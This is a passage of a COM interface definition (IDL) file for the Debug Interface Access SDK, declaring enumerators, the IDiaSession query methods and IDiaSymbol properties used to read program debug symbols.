HRESULT Clone(\n        [out] IDiaEnumInputAssemblyFiles **ppenum);\n}\n\n[\n    object,\n    uuid(FE30E878-54AC-44f1-81BA-39DE940F6052),\n    local,\n    helpstring(\"IDiaEnumLineNumbers Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaEnumLineNumbers: IUnknown\n{\n    PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, \"IEnumVARIANT version of IDiaEnumLineNumbers.\" );\n    PROPERTY_RO( LONG, Count, 1, \"Number of line numbers.\" );\n\n    [id(0), helpstring(\"Return the line number for the given index.\")]\n    HRESULT Item([in] DWORD index, [out, retval]IDiaLineNumber **lineNumber);\n\n    HRESULT Next(\n        [in] ULONG celt,          \n        [out] IDiaLineNumber ** rgelt,   \n        [out] ULONG * pceltFetched \n    );\n    HRESULT Skip(\n        [in] ULONG celt);\n\n    HRESULT Reset();\n\n    HRESULT Clone(\n        [out] IDiaEnumLineNumbers **ppenum);\n}\n\n[\n    object,\n    uuid(D5612573-6925-4468-8883-98CDEC8C384A),\n    local,\n    helpstring(\"IDiaEnumInjectedSources Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaEnumInjectedSources: IUnknown\n{\n    PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, \"IEnumVARIANT version of IDiaEnumInjectedSources.\" );\n    PROPERTY_RO( LONG, Count, 1, \"Number of injected source files.\" );\n\n    [id(0), helpstring(\"Return the injected source for the given index.\")]\n    HRESULT Item([in] DWORD index, [out, retval]IDiaInjectedSource **injectedSource);\n\n    HRESULT Next(\n        [in] ULONG celt,          \n        [out] IDiaInjectedSource ** rgelt,   \n        [out] ULONG * pceltFetched \n    );\n    HRESULT Skip(\n        [in] ULONG celt);\n\n    HRESULT Reset();\n\n    HRESULT Clone(\n        [out] IDiaEnumInjectedSources **ppenum);\n}\n\n[\n    object,\n    uuid(E8368CA9-01D1-419d-AC0C-E31235DBDA9F),\n    local,\n    helpstring(\"IDiaEnumSegments Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaEnumSegments: IUnknown\n{\n    PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, \"IEnumVARIANT version of IDiaEnumSegments.\" );\n    PROPERTY_RO( LONG, Count, 1, \"Number of segments.\" );\n\n    [id(0), helpstring(\"Return the segment for the given index.\")]\n    HRESULT Item([in] DWORD index, [out, retval]IDiaSegment **segment);\n\n    HRESULT Next(\n        [in] ULONG celt,          \n        [out] IDiaSegment ** rgelt,   \n        [out] ULONG * pceltFetched \n    );\n    HRESULT Skip(\n        [in] ULONG celt);\n\n    HRESULT Reset();\n\n    HRESULT Clone(\n        [out] IDiaEnumSegments **ppenum);\n}\n\n[\n    object,\n    uuid(1994DEB2-2C82-4b1d-A57F-AFF424D54A68),\n    local,\n    helpstring(\"IDiaEnumSectionContribs Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaEnumSectionContribs: IUnknown\n{\n    PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, \"IEnumVARIANT version of IDiaEnumSectionContribs.\" );\n    PROPERTY_RO( LONG, Count, 1, \"Number of section contributions.\" );\n\n    [id(0), helpstring(\"Return the section contribution for the given index.\")]\n    HRESULT Item([in] DWORD index, [out, retval]IDiaSectionContrib **section);\n\n    HRESULT Next(\n        [in] ULONG celt,          \n        [out] IDiaSectionContrib ** rgelt,   \n        [out] ULONG * pceltFetched \n    );\n    HRESULT Skip(\n        [in] ULONG celt);\n\n    HRESULT Reset();\n\n    HRESULT Clone(\n        [out] IDiaEnumSectionContribs **ppenum);\n}\n\n[\n    object,\n    uuid(9FC77A4B-3C1C-44ed-A798-6C1DEEA53E1F),\n    local,\n    helpstring(\"IDiaEnumFrameData Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaEnumFrameData: IUnknown\n{\n    PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, \"IEnumVARIANT version of IDiaEnumFrameData.\" );\n    PROPERTY_RO( LONG, Count, 1, \"Number of frames.\" );\n\n    [id(0), helpstring(\"Return the frame for the given index.\")]\n    HRESULT Item([in] DWORD index, [out, retval]IDiaFrameData **frame);\n\n    HRESULT Next(\n        [in] ULONG celt,          \n        [out] IDiaFrameData ** rgelt,   \n        [out] ULONG * pceltFetched \n    );\n    HRESULT Skip(\n        [in] ULONG celt);\n\n    HRESULT Reset();\n\n    HRESULT Clone(\n        [out] IDiaEnumFrameData **ppenum);\n\n    //\n    // The following two by-address lookups do not reposition the enumeration\n    //\n    [helpstring(\"Return the frame for the given relative virtual address.\")]\n    HRESULT frameByRVA(\n        [in] DWORD relativeVirtualAddress, \n        [out, retval]IDiaFrameData **frame);\n\n    [helpstring(\"Return the frame for the given virtual address.\")]\n    HRESULT frameByVA(\n        [in] ULONGLONG virtualAddress, \n        [out, retval]IDiaFrameData **frame);\n}\n\n[\n    object,\n    uuid(486943E8-D187-4a6b-A3C4-291259FFF60D),\n    local,\n    helpstring(\"IDiaEnumDebugStreamData Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaEnumDebugStreamData: IUnknown\n{\n    PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, \"IEnumVARIANT version of IDiaEnumDebugStreamData.\" );\n    PROPERTY_RO( LONG, Count, 1, \"Number of elements in the stream.\" );\n    PROPERTY_RO( BSTR, name, 2, \"Stream name.\" );\n\n    [id(0), helpstring(\"Return the element for the given index.\")]\n    HRESULT Item(\n            [in] DWORD index, \n            [in] DWORD cbData,\n            [out] DWORD *pcbData,\n            [out, size_is(cbData)] BYTE *pbData\n            );\n\n    HRESULT Next(\n        [in] ULONG celt,          \n        [in] DWORD cbData,\n        [out] DWORD *pcbData,\n        [out, size_is(cbData)] BYTE *pbData,\n        [out] ULONG * pceltFetched \n    );\n    HRESULT Skip(\n        [in] ULONG celt);\n\n    HRESULT Reset();\n\n    HRESULT Clone(\n        [out] IDiaEnumDebugStreamData **ppenum);\n}\n\n[\n    object,\n    uuid(08CBB41E-47A6-4f87-92F1-1C9C87CED044),\n    local,\n    helpstring(\"IDiaEnumDebugStreams Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaEnumDebugStreams: IUnknown\n{\n    PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, \"IEnumVARIANT version of IDiaEnumDebugStreams.\" );\n    PROPERTY_RO( LONG, Count, 1, \"Number of streams.\" );\n\n    [id(0), helpstring(\"Return the stream for the given index.\")]\n    HRESULT Item([in] VARIANT index, [out, retval]IDiaEnumDebugStreamData **stream);\n\n    HRESULT Next(\n        [in] ULONG celt,          \n        [out] IDiaEnumDebugStreamData ** rgelt,   \n        [out] ULONG * pceltFetched \n    );\n    HRESULT Skip(\n        [in] ULONG celt);\n\n    HRESULT Reset();\n\n    HRESULT Clone(\n        [out] IDiaEnumDebugStreams **ppenum);\n}\n\nstruct DiaAddressMapEntry\n{\n    DWORD rva;\n    DWORD rvaTo;\n};\n\n[\n    object,\n    uuid(B62A2E7A-067A-4ea3-B598-04C09717502C),\n    local,\n    helpstring(\"IDiaAddressMap Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaAddressMap: IUnknown\n{\n    PROPERTY_RW( BOOL, addressMapEnabled, 3, \"Enable address translations.\" );\n    PROPERTY_RW( BOOL, relativeVirtualAddressEnabled, 4, \"Enable relative virtual address computations.\");\n    PROPERTY_RW( DWORD, imageAlign, 5, \"Original image alignment.\" );\n\n    HRESULT set_imageHeaders(\n     [in] DWORD cbData,\n     [in, size_is(cbData)] BYTE *pbData,      // actual type is IMAGE_SECTION_HEADER[]\n     [in] BOOL originalHeaders );            // true: headers are original, that is, they match the debug symbols\n                                             // false: headers are current, that is, they match the image\n\n    HRESULT set_addressMap(\n     [in] DWORD cData,          // number of entries in rva map\n     [in, size_is(cData)] struct DiaAddressMapEntry *pData,      // rva map\n     [in] BOOL imageToSymbols );             // true:  map from image to symbols (omapt)\n                                             // false: map from symbols to image (omapf)\n};\n\n[\n    object,\n    uuid(2F609EE1-D1C8-4E24-8288-3326BADCD211),\n    local,\n    helpstring(\"IDiaSession Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaSession: IUnknown\n{\n    PROPERTY_RW( ULONGLONG, loadAddress, 1, \"Dll/Exe load address.\" );\n    PROPERTY_RO( IDiaSymbol*, globalScope, 2, \"Global scope (exe) symbol.\" );\n\n    HRESULT getEnumTables( \n        [out] IDiaEnumTables** ppEnumTables );\n    HRESULT getSymbolsByAddr( \n        [out] IDiaEnumSymbolsByAddr** ppEnumbyAddr );\n\n    //\n    // Queries that return sets of symbols\n    //\n    HRESULT findChildren( \n        [in] IDiaSymbol* parent, \n        [in] enum SymTagEnum symtag, \n        [in] LPCOLESTR name,\n        [in] DWORD compareFlags,\n        [out] IDiaEnumSymbols** ppResult );\n    HRESULT findChildrenEx( \n        [in] IDiaSymbol* parent, \n        [in] enum SymTagEnum symtag, \n        [in] LPCOLESTR name,\n        [in] DWORD compareFlags,\n        [out] IDiaEnumSymbols** ppResult );\n    HRESULT findChildrenExByAddr( \n        [in] IDiaSymbol* parent,     \n        [in] enum SymTagEnum symtag, \n        [in] LPCOLESTR name,\n        [in] DWORD compareFlags,\n        [in] DWORD isect,\n        [in] DWORD offset,\n        [out] IDiaEnumSymbols** ppResult );\n    HRESULT findChildrenExByVA( \n        [in] IDiaSymbol* parent,     \n        [in] enum SymTagEnum symtag, \n        [in] LPCOLESTR name,\n        [in] DWORD compareFlags,\n        [in] ULONGLONG va,\n        [out] IDiaEnumSymbols** ppResult );\n    HRESULT findChildrenExByRVA( \n        [in] IDiaSymbol* parent,     \n        [in] enum SymTagEnum symtag, \n        [in] LPCOLESTR name,\n        [in] DWORD compareFlags,\n        [in] DWORD rva,\n        [out] IDiaEnumSymbols** ppResult );\n    HRESULT findSymbolByAddr(\n        [in] DWORD isect,\n        [in] DWORD offset,\n        [in] enum SymTagEnum symtag, \n        [out] IDiaSymbol** ppSymbol );\n    HRESULT findSymbolByRVA(\n        [in] DWORD rva,\n        [in] enum SymTagEnum symtag, \n        [out] IDiaSymbol** ppSymbol );\n    HRESULT findSymbolByVA(\n        [in] ULONGLONG va,\n        [in] enum SymTagEnum symtag, \n        [out] IDiaSymbol** ppSymbol );\n    HRESULT findSymbolByToken(\n        [in] ULONG token,\n        [in] enum SymTagEnum symtag, \n        [out] IDiaSymbol** ppSymbol );\n    HRESULT symsAreEquiv(\n        [in] IDiaSymbol* symbolA, \n        [in] IDiaSymbol* symbolB );\n    HRESULT symbolById(\n        [in] DWORD id,\n        [out] IDiaSymbol** ppSymbol );\n    HRESULT findSymbolByRVAEx(\n        [in] DWORD rva,\n        [in] enum SymTagEnum symtag, \n        [out] IDiaSymbol** ppSymbol,\n        [out] long* displacement );\n    HRESULT findSymbolByVAEx(\n        [in] ULONGLONG va,\n        [in] enum SymTagEnum symtag, \n        [out] IDiaSymbol** ppSymbol,\n        [out] long* displacement );\n\n    //\n    // Queries that return source file results\n    //\n    HRESULT findFile(\n        [in] IDiaSymbol* pCompiland, \n        [in] LPCOLESTR name,\n        [in] DWORD compareFlags,\n        [out] IDiaEnumSourceFiles** ppResult );\n    HRESULT findFileById(\n        [in] DWORD uniqueId,\n        [out] IDiaSourceFile** ppResult );\n\n    //\n    // Queries that return line number results\n    //\n    HRESULT findLines( \n        [in] IDiaSymbol* compiland, \n        [in] IDiaSourceFile* file, \n        [out] IDiaEnumLineNumbers** ppResult );\n    HRESULT findLinesByAddr(\n        [in] DWORD seg,\n        [in] DWORD offset,\n        [in] DWORD length,\n        [out] IDiaEnumLineNumbers** ppResult );\n    HRESULT findLinesByRVA(\n        [in] DWORD rva,\n        [in] DWORD length,\n        [out] IDiaEnumLineNumbers** ppResult );\n    HRESULT findLinesByVA(\n        [in] ULONGLONG va,\n        [in] DWORD length,\n        [out] IDiaEnumLineNumbers** ppResult );\n    HRESULT findLinesByLinenum(\n        [in] IDiaSymbol* compiland, \n        [in] IDiaSourceFile* file,\n        [in] DWORD linenum,\n        [in] DWORD column,\n        [out] IDiaEnumLineNumbers** ppResult );\n\n    //\n    // Queries that return injected source\n    //\n    HRESULT findInjectedSource( \n        [in] LPCOLESTR srcFile, \n        [out] IDiaEnumInjectedSources** ppResult );\n\n    HRESULT getEnumDebugStreams( \n        [out] IDiaEnumDebugStreams** ppEnumDebugStreams);\n\n    //\n    // Queries that return inline frames\n    //\n    HRESULT findInlineFramesByAddr(\n        [in] IDiaSymbol* parent,     \n        [in] DWORD isect, \n        [in] DWORD offset, \n        [out] IDiaEnumSymbols** ppResult);\n\n    HRESULT findInlineFramesByRVA(\n        [in] IDiaSymbol* parent,     \n        [in] DWORD rva, \n        [out] IDiaEnumSymbols** ppResult);\n\n    HRESULT findInlineFramesByVA(\n        [in] IDiaSymbol* parent,     \n        [in] ULONGLONG va, \n        [out] IDiaEnumSymbols** ppResult);\n\n    //\n    // Queries that return inlinee lines\n    //\n    HRESULT findInlineeLines(\n        [in] IDiaSymbol* parent,     \n        [out] IDiaEnumLineNumbers** ppResult);\n    \n    HRESULT findInlineeLinesByAddr(\n        [in] IDiaSymbol* parent,     \n        [in] DWORD isect,\n        [in] DWORD offset,\n        [in] DWORD length,\n        [out] IDiaEnumLineNumbers** ppResult);\n\n    HRESULT findInlineeLinesByRVA(\n        [in] IDiaSymbol* parent,     \n        [in] DWORD rva,\n        [in] DWORD length,\n        [out] IDiaEnumLineNumbers** ppResult);\n\n    HRESULT findInlineeLinesByVA(\n        [in] IDiaSymbol* parent,     \n        [in] ULONGLONG va,\n        [in] DWORD length,\n        [out] IDiaEnumLineNumbers** ppResult);\n\n    HRESULT findInlineeLinesByLinenum(\n        [in] IDiaSymbol* compiland, \n        [in] IDiaSourceFile* file,\n        [in] DWORD linenum,\n        [in] DWORD column,\n        [out] IDiaEnumLineNumbers** ppResult);\n\n    //\n    // Query inline instance\n    //\n    HRESULT findInlineesByName(\n        [in] LPCOLESTR name,\n        [in] DWORD option,\n        [out] IDiaEnumSymbols** ppResult);\n\n    // Find Accelerator InlineeLines by line number\n    HRESULT findAcceleratorInlineeLinesByLinenum(\n        [in] IDiaSymbol* parent, \n        [in] IDiaSourceFile* file,\n        [in] DWORD linenum,\n        [in] DWORD column,\n        [out] IDiaEnumLineNumbers** ppResult);\n\n    // Find symbols corresponding to a Accelerator address taken\n    // variable from its tag value\n    HRESULT findSymbolsForAcceleratorPointerTag(\n        [in] IDiaSymbol *parent,\n        [in] DWORD tagValue,\n        [out] IDiaEnumSymbols** ppResult);\n\n    HRESULT findSymbolsByRVAForAcceleratorPointerTag(\n        [in] IDiaSymbol *parent,\n        [in] DWORD tagValue,\n        [in] DWORD rva,\n        [out] IDiaEnumSymbols** ppResult);\n\n    HRESULT findAcceleratorInlineesByName(\n        [in] LPCOLESTR name,\n        [in] DWORD option,\n        [out] IDiaEnumSymbols** ppResult);\n\n    HRESULT addressForVA(\n        [in] ULONGLONG va,\n        [out] DWORD* pISect,\n        [out] DWORD* pOffset);\n\n    HRESULT addressForRVA(\n        [in] DWORD rva,\n        [out] DWORD* pISect,\n        [out] DWORD* pOffset);\n\n    /////////////////////////////////////\n\n    HRESULT findILOffsetsByAddr(\n        [in] DWORD isect,\n        [in] DWORD offset,\n        [in] DWORD length,\n        [out] IDiaEnumLineNumbers** ppResult);\n\n    HRESULT findILOffsetsByRVA(\n        [in] DWORD rva,\n        [in] DWORD length,\n        [out] IDiaEnumLineNumbers** ppResult);\n\n    HRESULT findILOffsetsByVA(\n        [in] ULONGLONG va,\n        [in] DWORD length,\n        [out] IDiaEnumLineNumbers** ppResult);\n\n    HRESULT findInputAssemblyFiles(\n        [out] IDiaEnumInputAssemblyFiles** ppResult);\n\n    HRESULT findInputAssembly(\n        [in] DWORD index,\n        [out] IDiaInputAssemblyFile** ppResult);\n\n    HRESULT findInputAssemblyById(\n        [in] DWORD uniqueId,\n        [out] IDiaInputAssemblyFile** ppResult);\n\n    HRESULT getFuncMDTokenMapSize(\n        [out] DWORD *pcb);\n\n    HRESULT getFuncMDTokenMap(\n        [in] DWORD cb,\n        [out] DWORD *pcb,\n        [out, size_is(cb)] BYTE *pb);\n\n    HRESULT getTypeMDTokenMapSize(\n        [out] DWORD *pcb);\n\n    HRESULT getTypeMDTokenMap(\n        [in] DWORD cb,\n        [out] DWORD *pcb,\n        [out, size_is(cb)] BYTE *pb);\n\n    /////////////////////////////////////\n\n    HRESULT getNumberOfFunctionFragments_VA(\n        [in] ULONGLONG vaFunc,\n        [in] DWORD cbFunc,\n        [out] DWORD *pNumFragments);\n\n    HRESULT getNumberOfFunctionFragments_RVA(\n        [in] DWORD rvaFunc,\n        [in] DWORD cbFunc,\n        [out] DWORD *pNumFragments);\n\n    HRESULT getFunctionFragments_VA(\n        [in] ULONGLONG vaFunc,\n        [in] DWORD cbFunc,\n        [in] DWORD cFragments,\n        [out, size_is(cFragments)] ULONGLONG *pVaFragment,\n        [out, size_is(cFragments)] DWORD *pLenFragment);\n\n    HRESULT getFunctionFragments_RVA(\n        [in] DWORD rvaFunc,\n        [in] DWORD cbFunc,\n        [in] DWORD cFragments,\n        [out, size_is(cFragments)] DWORD *pRvaFragment,\n        [out, size_is(cFragments)] DWORD *pLenFragment);\n\n    HRESULT getExports(\n        [out] IDiaEnumSymbols** ppResult);\n\n    HRESULT getHeapAllocationSites(\n        [out] IDiaEnumSymbols** ppResult );\n\n    HRESULT findInputAssemblyFile(\n        [in] IDiaSymbol* pSymbol,\n        [out] IDiaInputAssemblyFile** ppResult);\n};\n\n/*\n *  Table Columns\n *\n *  Symbols - a symbol will have values in some subset of the fields\n */\n[\n    object,\n    uuid(cb787b2f-bd6c-4635-ba52-933126bd2dcd),\n    local,\n    helpstring(\"IDiaSymbol Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaSymbol: IUnknown\n{\n    PROPERTY_RO( DWORD, symIndexId, 0, \"Unique symbol identifier.\" );\n    PROPERTY_RO( DWORD, symTag, 1, \"Symbol kind tag.\" );\n    PROPERTY_RO( BSTR, name, 2, \"Name\" );                     \n    PROPERTY_RO( IDiaSymbol*, lexicalParent, 3, \"Lexical parent symbol.\");                  \n    PROPERTY_RO( IDiaSymbol*, classParent, 4, \".\");\n    PROPERTY_RO( IDiaSymbol*, type, 5, \".\");\n    PROPERTY_RO( DWORD, dataKind, 6, \".\");\n    PROPERTY_RO( DWORD, locationType, 7, \".\");\n    PROPERTY_RO( DWORD, addressSection, 8, \".\");\n    PROPERTY_RO( DWORD, addressOffset, 9, \".\");\n    PROPERTY_RO( DWORD, relativeVirtualAddress, 10, \".\");\n    PROPERTY_RO( ULONGLONG, virtualAddress, 11, \".\");\n    PROPERTY_RO( DWORD, registerId, 12, \".\");\n    PROPERTY_RO( LONG, offset, 13, \".\");\n    PROPERTY_RO( ULONGLONG, length, 14, \".\");\n    PROPERTY_RO( DWORD, slot, 15, \".\");\n    PROPERTY_RO( BOOL, volatileType, 16, \".\");\n    PROPERTY_RO( BOOL, constType, 17, \".\");\n    PROPERTY_RO( BOOL, unalignedType, 18, \".\");\n    PROPERTY_RO( DWORD, access, 19, \".\");\n    PROPERTY_RO( BSTR, libraryName, 20, \".\");\n    PROPERTY_RO( DWORD, platform, 21, \".\");\n    PROPERTY_RO( DWORD, language, 22, \".\");\n    PROPERTY_RO( BOOL, editAndContinueEnabled, 23, \".\");\n    PROPERTY_RO( DWORD, frontEndMajor, 24, \".\");\n    PROPERTY_RO( DWORD, frontEndMinor, 25, \".\");\n    PROPERTY_RO( DWORD, frontEndBuild, 26, \".\");\n    PROPERTY_RO( DWORD, backEndMajor, 27, \".\");\n    PROPERTY_RO( DWORD, backEndMinor, 28, \".\");\n    PROPERTY_RO( DWORD, backEndBuild, 29, \".\");\n    PROPERTY_RO( BSTR, sourceFileName, 30, \".\");\n    PROPERTY_RO( BSTR, unused, 31, \".\");\n    PROPERTY_RO( DWORD, thunkOrdinal, 32, \".\");\n    PROPERTY_RO( LONG, thisAdjust, 33, \".\");\n    PROPERTY_RO( DWORD, virtualBaseOffset, 34, \".\");\n    PROPERTY_RO( BOOL, virtual, 35, \".\");\n    PROPERTY_RO( BOOL, intro, 36, \".\");\n    PROPERTY_RO( BOOL, pure, 37, \".\");\n    PROPERTY_RO( DWORD, callingConvention, 38, \".\");\n    PROPERTY_RO( VARIANT, value, 39, \".\");\n    PROPERTY_RO( DWORD, baseType, 40, \".\");\n    PROPERTY_RO( DWORD, token, 41, \".\");\n    PROPERTY_RO( DWORD, timeStamp, 42, \".\");\n    PROPERTY_RO( GUID, guid, 43, \".\");\n    PROPERTY_RO( BSTR, symbolsFileName, 44, \".\");\n    PROPERTY_RO( BOOL, reference, 46, \"L-value Reference\");\n    PROPERTY_RO( DWORD, count, 47, \".\");\n    PROPERTY_RO( DWORD, bitPosition, 49, \".\");\n    PROPERTY_RO( IDiaSymbol*, arrayIndexType, 50, \".\");\n    PROPERTY_RO( BOOL, packed, 51, \".\");\n    PROPERTY_RO( BOOL, constructor, 52, \"UDT has constructor or destructor, or func is a constructor\");\n    PROPERTY_RO( BOOL, overloadedOperator, 53, \".\");\n    PROPERTY_RO( BOOL, nested, 54, \".\");\n    PROPERTY_RO( BOOL, hasNestedTypes, 55, \".\");\n    PROPERTY_RO( BOOL, hasAssignmentOperator, 56, \".\");\n    PROPERTY_RO( BOOL, hasCastOperator, 57, \".\");\n    PROPERTY_RO( BOOL, scoped, 58, \".\");\n    PROPERTY_RO( BOOL, virtualBaseClass, 59, \".\");\n    PROPERTY_RO( BOOL, indirectVirtualBaseClass, 60, \".\");\n    PROPERTY_RO( LONG, virtualBasePointerOffset, 61, \".\");\n    PROPERTY_RO( IDiaSymbol*, virtualTableShape, 62, \".\");\n    PROPERTY_RO( DWORD, lexicalParentId, 64, \"Lexical parent symbol.\");                  \n    PROPERTY_RO( DWORD, classParentId, 65, \".\");\n    PROPERTY_RO( DWORD, typeId, 66, \".\");\n    PROPERTY_RO( DWORD, arrayIndexTypeId, 67, \".\");\n    PROPERTY_RO( DWORD, virtualTableShapeId, 68, \".\");\n    PROPERTY_RO( BOOL, code, 69, \"Symbol refers to a code address.\" );\n    PROPERTY_RO( BOOL, function, 70, \"Symbol refers to a function.\" );\n    PROPERTY_RO( BOOL, managed, 71, \"Symbol refers to managed code.\" );\n    PROPERTY_RO( BOOL, msil, 72, \"Symbol refers to MSIL code.\" );\n    PROPERTY_RO( DWORD, virtualBaseDispIndex, 73, \".\");\n    PROPERTY_RO( BSTR, undecoratedName, 74, \".\");\n    PROPERTY_RO( DWORD, age, 75, \"PDB file age.\" );\n    PROPERTY_RO( DWORD, signature, 76, \"Signature.\" ); \n    PROPERTY_RO( BOOL, compilerGenerated, 77, \"Symbol or function is compiler generated.\" );\n    PROPERTY_RO( BOOL, addressTaken, 78, \"Symbol is address taken.\" );\n    PROPERTY_RO( DWORD, rank, 79, \"Rank of FORTRAN multi-dimension array.\" );\n    PROPERTY_RO( IDiaSymbol*, lowerBound, 80, \"Lower bound of a FORTRAN array dimension.\");\n    PROPERTY_RO( IDiaSymbol*, upperBound, 81, \"Upper bound of a FORTRAN array dimension.\");\n    PROPERTY_RO( DWORD, lowerBoundId, 82, \"Symbol Id of the lower bound of a FORTRAN array dimension.\");\n    PROPERTY_RO( DWORD, upperBoundId, 83, \"Symbol Id of the upper bound of a FORTRAN array dimension.\");\n\n    HRESULT get_dataBytes(\n         [in] DWORD cbData,\n         [out] DWORD *pcbData,\n         [out, size_is(cbData)] BYTE *pbData\n        );\n\n    HRESULT findChildren( \n        [in] enum SymTagEnum symtag, \n        [in] LPCOLESTR name,\n        [in] DWORD compareFlags,\n        [out] IDiaEnumSymbols** ppResult );\n\n    HRESULT findChildrenEx( \n        [in] enum SymTagEnum symtag, \n        [in] LPCOLESTR name,\n        [in] DWORD compareFlags,\n        [out] IDiaEnumSymbols** ppResult );\n\n    HRESULT findChildrenExByAddr( \n        [in] enum SymTagEnum symtag, \n        [in] LPCOLESTR name,\n        [in] DWORD compareFlags,\n        [in] DWORD isect,\n        [in] DWORD offset,\n        [out] IDiaEnumSymbols** ppResult );\n\n    HRESULT findChildrenExByVA( \n        [in] enum SymTagEnum symtag, \n        [in] LPCOLESTR name,\n        [in] DWORD compareFlags,\n        [in] ULONGLONG va,\n        [out] IDiaEnumSymbols** ppResult );\n\n    HRESULT findChildrenExByRVA( \n        [in] enum SymTagEnum symtag, \n        [in] LPCOLESTR name,\n        [in] DWORD compareFlags,\n        [in] DWORD rva,\n        [out] IDiaEnumSymbols** ppResult );\n\n    PROPERTY_RO( DWORD, targetSection, 84, \"Thunk target address section.\");\n    PROPERTY_RO( DWORD, targetOffset, 85, \"Thunk target address offset.\");\n    PROPERTY_RO( DWORD, targetRelativeVirtualAddress, 86, \"Thunk target RVA.\");\n    PROPERTY_RO( ULONGLONG, targetVirtualAddress, 87, \"Thunk target virtual address.\");\n    PROPERTY_RO( DWORD, machineType, 88, \"Target machine type.\" );\n    PROPERTY_RO( DWORD, oemId, 89, \"Identifier of manufacturer.\");\n    PROPERTY_RO( DWORD, oemSymbolId, 90, \"Manufacturer defined custom symbol identifier.\" );\n    HRESULT get_types(\n         [in] DWORD cTypes,\n         [out] DWORD *pcTypes,\n         [out, size_is(cTypes, )] IDiaSymbol**pTypes\n        );\n    HRESULT get_typeIds(\n         [in] DWORD cTypeIds,\n         [out] DWORD *pcTypeIds,\n         [out, size_is(cTypeIds)] DWORD *pdwTypeIds\n       );\n    PROPERTY_RO(IDiaSymbol*, objectPointerType, 91, \"Type of method's object pointer.\");\n    PROPERTY_RO(DWORD, udtKind, 92, \"struct, union, class or interface\");\n    HRESULT get_undecoratedNameEx(\n        [in] DWORD undecorateOptions,\n        [out] BSTR* name\n        );\n\n    PROPERTY_RO(BOOL, noReturn, 93, \"NoReturn\");\n    PROPERTY_RO(BOOL, customCallingConvention, 94, \"uses custom calling convention\");\n    PROPERTY_RO(BOOL, noInline, 95, \"NoInline\");\n    PROPERTY_RO(BOOL, optimizedCodeDebugInfo, 96, \"has debugging Info for optimized code\");\n    PROPERTY_RO(BOOL, notReached, 97, \"Unreachable\");\n    PROPERTY_RO(BOOL, interruptReturn, 98, \"return from interrupt\");\n    PROPERTY_RO(BOOL, farReturn, 99, \"far return\");\n    PROPERTY_RO(BOOL, isStatic, 100, \"static function\");\n    PROPERTY_RO(BOOL, hasDebugInfo, 101, \"hasDebugInfo\");\n    PROPERTY_RO(BOOL, isLTCG, 102, \"Compiled With LTCG\");\n    PROPERTY_RO(BOOL, isDataAligned, 103, \"Is it compiled with -Bzalign\");\n    PROPERTY_RO(BOOL, hasSecurityChecks, 104, \"hasSecurityChecks\");\n    PROPERTY_RO(BSTR, compilerName, 105, \"compiler name\");\n    PROPERTY_RO(BOOL, hasAlloca, 106, \"hasAlloca\");\n    PROPERTY_RO(BOOL, hasSetJump, 107, \"hasSetJump\");\n    PROPERTY_RO(BOOL, hasLongJump, 108, \"hasLongJump\");\n    PROPERTY_RO(BOOL, hasInlAsm, 109, \"hasInlineAssembly\");\n    PROPERTY_RO(BOOL, hasEH, 110, \"hasC++EH\");\n    PROPERTY_RO(BOOL, hasSEH, 111, \"hasStructuredEH\");\n    PROPERTY_RO(BOOL, hasEHa, 112, \"hasAsynchronousEH\");\n    PROPERTY_RO(BOOL, isNaked, 113, \"IsNaked\");\n    PROPERTY_RO(BOOL, isAggregated, 114, \"isAggregated\");\n    PROPERTY_RO(BOOL, isSplitted, 115, \"isSplitted\");\n    PROPERTY_RO(IDiaSymbol *, container, 116, \"container\");\n    PROPERTY_RO(BOOL, inlSpec, 117, \"WasSpecifiedAsInline\");\n    PROPERTY_RO(BOOL, noStackOrdering, 118, \"BufferChecksWithoutOrdering\");\n    PROPERTY_RO(IDiaSymbol *, virtualBaseTableType, 119, \"Type of Virtual Base Offset Table\");\n    PROPERTY_RO(BOOL, hasManagedCode, 120, \"hasManagedCode\");\n    PROPERTY_RO(BOOL, isHotpatchable, 121, \"isHotpatchable\");\n    PROPERTY_RO(BOOL, isCVTCIL, 122, \"isCVTCIL\");\n    PROPERTY_RO(BOOL, isMSILNetmodule, 123, \"isMSILNetmodule\");\n    PROPERTY_RO(BOOL, isCTypes, 124, \"isCTypes\");\n    PROPERTY_RO(BOOL, isStripped, 125, \"isStripped\");\n    PROPERTY_RO(DWORD, frontEndQFE, 126, \".\");\n    PROPERTY_RO(DWORD, backEndQFE, 127, \".\");\n    PROPERTY_RO(BOOL, wasInlined, 128, \"WasInlined\");\n    PROPERTY_RO(BOOL, strictGSCheck, 129, \"StrictGSCheck\");\n    PROPERTY_RO(BOOL, isCxxReturnUdt, 130, \"return C++ style UDT\");\n    PROPERTY_RO(BOOL, isConstructorVirtualBase, 131, \"instance constructor of a class with virtual base\");\n    PROPERTY_RO(BOOL, RValueReference, 132, \"R-value Reference\");\n    PROPERTY_RO(IDiaSymbol*, unmodifiedType, 133, \"unmodified type\");\n    PROPERTY_RO(BOOL, framePointerPresent, 134, \"frame pointer present\");\n    PROPERTY_RO(BOOL, isSafeBuffers, 135, \"isSafeBuffers\");\n    PROPERTY_RO(BOOL, intrinsic, 136, \"isIntrinsicType\");\n    PROPERTY_RO(BOOL, sealed, 137, \"can't be base class, or method can't be overridden\");\n    PROPERTY_RO(BOOL, hfaFloat, 138, \"HFA float\");\n    PROPERTY_RO(BOOL, hfaDouble, 139, \"HFA double\");\n    PROPERTY_RO(DWORD, liveRangeStartAddressSection, 140, \"LiveRangeStartAddressSection\");\n    PROPERTY_RO(DWORD, liveRangeStartAddressOffset, 141, \"LiveRangeStartAddressOffset\");\n    PROPERTY_RO(DWORD, liveRangeStartRelativeVirtualAddress, 142, 